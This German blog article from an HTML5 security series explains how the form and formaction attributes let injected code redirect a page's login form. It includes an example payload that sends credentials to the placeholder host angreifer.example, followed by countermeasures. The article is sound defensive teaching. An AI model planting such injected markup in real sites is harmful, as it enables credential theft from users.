Dipl.-Inform. Carsten Eilers

In HTML5 können sich alle Formularelemente wie Buttons, Eingabefelder usw. selbst mit einem Formular auf der Seite verknüpfen. Und das unabhängig davon, wo sich das Formular befindet. Das Formular muss lediglich eine ID enthalten, damit sich das externe Element an das Formular binden kann. Das könnte zum Beispiel so aussehen:

...

<form id="einFormular" action="einSkript.php" method="post">
   <input type="text" name="eingabe" value="Text hier eingeben">
</form>

<p>
bla bla bla
...
</p>

<input type="submit" form="einFormular">

...

Das allein erlaubt in Verbindung mit XSS sicherlich neue Social-Engineering-Angriffe. Es wird aber noch besser, oder eigentlich schlechter: In HTML5 gibt es neue Attribute für Tags wie button oder submit, die weiter gehende Angriffe erlauben:

• formaction erlaubt Änderungen am Ziel des Formulars, dem action-Attribut des form-Tags und dürfte für Angriffe das interessanteste Attribut sein.
• formenctype erlaubt die Änderung der Datenkodierung des Formulars und ist für Angriffe wohl weniger geeignet.
• formmethod erlaubt Änderungen am method-Attribut des form-Tags, aus einem GET-Formular kann ein POST-Formular gemacht werden und anders herum. Was für einen Angriff auch eher uninteressant sein dürfte.
• formtarget erlaubt Änderungen am target-Attribut des form-Tags, also des Fensters, in dem der action-URL geöffnet wird. Auch damit lässt sich bestimmt Unsinn anstellen.

Und formaction!

Im folgenden soll es aber um das formaction-Attribut gehen, denn das erlaubt den mit ziemlicher Sicherheit gefährlichsten Angriff: Ein Angreifer, der auf einer Webseite HTML-Code einschleusen kann, kann damit dafür sorgen, dass die ausgefüllten Formulare der Seite an seinen Server gesendet werden. Alles, was er braucht, ist eine XSS-Schwachstelle - oder die Möglichkeit, eine manipulierte Werbung einzublenden. Und Angriffe auf Ad-Server sind ja nicht gerade unüblich.

Das könnte dann so aussehen:

...

<!-- Die Seite enthält ein Login-Formular: -->

<form id="login" action="login.php" method="post">
   Benutzername: <input type="text" name="name"> <br>
   Passwort: <input type="text" name="pass"> <br>
   <input type="submit" value="login">
</form>

<p>
bla bla bla ...
...
Noch ist alles in Ordnung...
</p>

<!-- Hier kommt der als Werbung eingeschleuste Code: -->
<button type="submit" form="login" formaction="http://angreifer.example/datensammler.php">
   <img src="http://angreifer.example/lockendes-bild.jpg">
</button>
<!-- Ende des eingeschleusten Codes -->
...

Der Button erscheint als das angegebene lockende Bild. Klickt der Benutzer auf das Bild, nachdem er das Formular ausgefüllt hat, werden seine Zugangsdaten an den Angreifer gesendet.

Sie halten das für ist ein konstruiertes Beispiel? Haben Sie noch nie irgendwo Zugangsdaten eingegeben, es sich dann aber anders überlegt und stattdessen einen Link oder ein Bild auf der Seite angeklickt? Zum Beispiel bei GMX oder Web.de, wenn Sie während des Einloggens eine interessante Nachricht auf der Seite entdecken?

Stellen Sie sich mal vor, Sie wollen sich gerade irgendwo einloggen und sehen plötzlich eine Werbung, dass Sie als x-tausendster Besucher als Empfänger eines kostenlosen iPhones ausgewählt wurden. Sie denken, darauf fällt doch niemand rein? Und warum gibt es dann immer wieder solche und ähnliche Werbeanzeigen? Irgendjemand muss da ja wohl drauf klicken, sonst würde es sie ja nicht mehr geben.

Ein kleiner Tipp am Rande: Wenn Sie irgendwo Zugangsdaten eingegeben haben, loggen Sie sich danach auch ein. Oder löschen Sie die Zugangsdaten wieder aus den Eingabefeldern, bevor Sie irgend wo anders klicken. Sicher ist sicher, man weiß ja nie, ob die Website, auf der man ist, nicht gerade angegriffen wird.

Und um einem möglichen Missverständnis zuvor zu kommen: Das obige Beispiel funktioniert unabhängig davon, ob die Seite mit dem Login-Formular über HTTP oder HTTPS geladen wurde. Auch wenn die Webanwendung an dieser Stelle sicher konzipiert wurde und das Formular sich auf einer über HTTPS geladenen Seite befindet, ändert das nichts am Angriff, da die manipulierte Werbung oder der eingeschleuste XSS-Code unabhängig vom Transportweg vom Server eingefügt wird.

Gegenmaßnahmen?

Erst mal sieht es mit Schutzmaßnahmen schlecht aus, denn hier gilt die alte Atari-Ausrede "It's not a bug, it's a feature!": Die Formulare sollen genau so funktionieren. Und sicher gibt es auch nützliche Anwendungen für diese Möglichkeiten.

Womit wir bei der altbekannten Lösung landen: Haben Sie keine XSS-Schwachstelle in Ihrer Webanwendung - und passen Sie auf, dass Sie keine manipulierten Werbeanzeigen einbinden. Es ist eine gute Idee, die Werbung nicht nur zu prüfen, sondern zusätzlich in einem iframe mit entsprechend gesetztem sandbox-Attribut einzubinden. Das bietet in Browsern, die das Attribut unterstützen, einen zusätzlichen Schutz vor eingeschleustem Code.

Der Angriff ist natürlich nur möglich, wenn das angegriffene (oder besser abgegriffene) Formular eine ID besitzt. Sofern Sie keine ID brauchen, sollten Sie also auch keine verwenden, und schon ist der Angriff nicht mehr möglich.

In der nächsten Folge geht es um das Vergiften des Application Caches.

Carsten Eilers

---

Übersicht über alle Artikel zum Thema

HTML5 Security - Eine Einführung

HTML5 Security - SVG und Resident XSS

HTML5 Security - Formulare auf Abwegen

HTML5 Security - Gift für den Application Cache

HTML5 Security - Der Local Storage

HTML5 Security - Die SQL-Datenbank

HTML5 Security - Cross Origin Requests

HTML5 Security - Gefährliche WebSockets

HTML5 Security - postMessage() sicher nutzen